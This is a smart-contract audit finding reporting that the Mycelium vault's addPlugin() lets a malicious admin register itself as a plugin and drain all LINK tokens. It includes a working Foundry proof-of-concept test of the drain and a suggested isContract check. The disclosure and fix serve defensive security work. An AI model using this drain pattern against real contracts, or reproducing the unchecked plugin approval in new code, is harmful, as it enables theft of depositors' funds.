CRYP70
medium
The addPlugin()
function is used to include external smart contracts such as Aave
's v2 LendingPool
to increase yield over time for LINK tokens. Due to a lack of sanity checks, the admin can rug users of all the link tokens in the vault.
when calling addPlugin()
, the admin user can use this in an unintended way by specifying themselves as a "plugin" and pass their own address which will approve themselves to the maximum (type(uint256).max
) number of LINK tokens contained in the vault. The admin is then free to transfer all link tokens out of the vault and into their wallet. This was awarded a "Medium" in severity because this finding relies on a malicious admin.
A malicious admin can steal all user funds. Even if the user is benevolent by the fact that there is a rug vector available, it may negatively impact the protocol’s reputation.
https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L314-L316 https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L326
pragma solidity ^0.8.9;
import "../../lib/forge-std/src/Test.sol";
import "../../lib/forge-std/src/console.sol";
import "../../src/Vault.sol";
import "../../src/AttackerContract.sol";
import "../utils/Token.sol";
import "openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";
contract MyTests is Test {
Token public link;
Vault public vault;
address implementation;
address proxy;
address public alice = vm.addr(1);
address public bob = vm.addr(2);
address public carol = vm.addr(3);
address public dan = vm.addr(4);
address public eve = vm.addr(5);
address public frank = vm.addr(6);
address public admin = vm.addr(7);
function setUp() public {
link = new Token("Chainlink", "LINK");
vm.startPrank(address(admin));
implementation = address(new Vault());
proxy = address(new ERC1967Proxy(implementation, ""));
vault = Vault(proxy);
vault.initialize(address(link), address(admin), 10e34, 1000);
vm.stopPrank();
}
function testRugVector() public {
link.mint(address(vault), 10000 ether);
link.mint(address(alice), 1000 ether);
vm.startPrank(address(alice));
link.approve(address(vault), 1000 ether);
vault.deposit(1000 ether);
vm.stopPrank();
uint256 vaultBalanceBeforeRug = link.balanceOf(address(vault));
vm.startPrank(address(admin));
vault.addPlugin(address(admin), 0);
link.transferFrom(address(vault), address(admin), link.balanceOf(address(vault)));
vm.stopPrank();
uint256 adminBalancePostRug = link.balanceOf(address(admin));
assertEq(vaultBalanceBeforeRug, adminBalancePostRug);
}
}
Manual Review.
I recommend checking that the owner cannot use their own address as a plugin. In addition to this I recommend a check that EOA's cannot be used as plugins. See the example function to check if an address contains code below:
function isContract(address _addr) private returns (bool isContract){
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
This will prevent the entire vault's balance from being transferred at once by a single EOA.